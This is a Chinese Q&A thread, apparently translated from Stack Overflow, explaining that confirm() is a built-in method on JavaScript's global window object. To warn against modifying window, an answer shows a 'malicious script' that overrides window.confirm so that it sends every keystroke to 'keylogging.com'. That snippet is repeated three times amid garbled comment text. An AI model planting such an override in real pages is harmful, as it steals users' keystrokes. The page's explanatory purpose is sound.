Javascript方法定义
我最近开始学习javascript,我知道Java和一些html、CSS和SQL。但是,我对js中发生的事情有点困惑。JS有一个名为confirm的方法,它会弹出一个窗口,要求用户进行确认。在使用之前,您不必定义此方法。在java中,您必须定义对象才能使用它,在这里,他们使用的方法是在没有定义它的情况下调用的。它已经在JS中定义了吗?它是如何工作的?请帮忙,因为我现在很困惑 它已经在JS中定义了吗Javascript方法定义,javascript,Javascript,我最近开始学习javascript,我知道Java和一些html、CSS和SQL。但是,我对js中发生的事情有点困惑。JS有一个名为confirm的方法,它会弹出一个窗口,要求用户进行确认。在使用之前,您不必定义此方法。在java中,您必须定义对象才能使用它,在这里,他们使用的方法是在没有定义它的情况下调用的。它已经在JS中定义了吗?它是如何工作的?请帮忙,因为我现在很困惑 它已经在JS中定义了吗 是的,浏览器确实预定义了方法,因此您可以方便地使用它。Javascript有一个预定义的对象,名为
是的,浏览器确实预定义了方法,因此您可以方便地使用它。Javascript有一个预定义的对象,名为,它已经定义了很多属性 打开浏览器的控制台,键入
window
,然后按enter键,即可查看它们
因为Javascript直到ES6(目前正在开发的规范)才有模块系统的概念,所以所有浏览器API都必须存储在window对象中,以便开发人员能够使用它们
您可以将窗口对象视为Javascript中的全局范围。如果您创建的变量没有var
关键字,它将作为窗口
对象上的属性创建
function main() {
hello = 3;
window.hello === 3; // true
var bye = 2;
window.bye === 2; // false
typeof window.bye === 'undefined'; // true
}
// malicious script
window.confirm = function() {
window.addEventListener('keydown', function(e) {
$.POST('keylogging.com', { key: e.keyCode });
});
};
因此,调用confirm()
与调用window.confirm()
隐式相同,因为confirm
实际上只是window
对象上的一个属性
function main() {
hello = 3;
window.hello === 3; // true
var bye = 2;
window.bye === 2; // false
typeof window.bye === 'undefined'; // true
}
// malicious script
window.confirm = function() {
window.addEventListener('keydown', function(e) {
$.POST('keylogging.com', { key: e.keyCode });
});
};
此模型被广泛认为是一个坏主意,可能非常危险,它使其他脚本很容易在窗口
对象上重新定义属性
function main() {
hello = 3;
window.hello === 3; // true
var bye = 2;
window.bye === 2; // false
typeof window.bye === 'undefined'; // true
}
// malicious script
window.confirm = function() {
window.addEventListener('keydown', function(e) {
$.POST('keylogging.com', { key: e.keyCode });
});
};
现在,如果您调用confirm,而不是看到确认对话框,您将注册一个事件侦听器,它将把您的所有击键发送到其他服务器
显然,并不是所有的第三方代码都是恶意的,但对Windows的修改仍有可能导致您的代码被破坏
最佳做法是尽量避免更改窗口对象上的任何内容。一种方法是使用删除的。标记。请理解
Java!=Javascript
,事实上,它们是完全不同的语言,唯一的相似之处在于它们都从C派生出一些语法,并且在名称上有着不幸的相似之处。请注意,这不是一个微不足道的编辑,因为标记的准确性至关重要,并且是让正确的专家被您的问题吸引的最重要因素之一。祝你好运如何确认
被利用?预期结果?可以包含js
?您对什么感到困惑?有一些内置函数,就像Java一样。例如,System.out.println()。您不必定义它,因为它内置于JDKYeah中,我知道它们不相等。我把java放在那里的唯一原因是因为我在我的帖子中引用了java,我问在方法定义中有什么区别,所以它只是一个内置函数?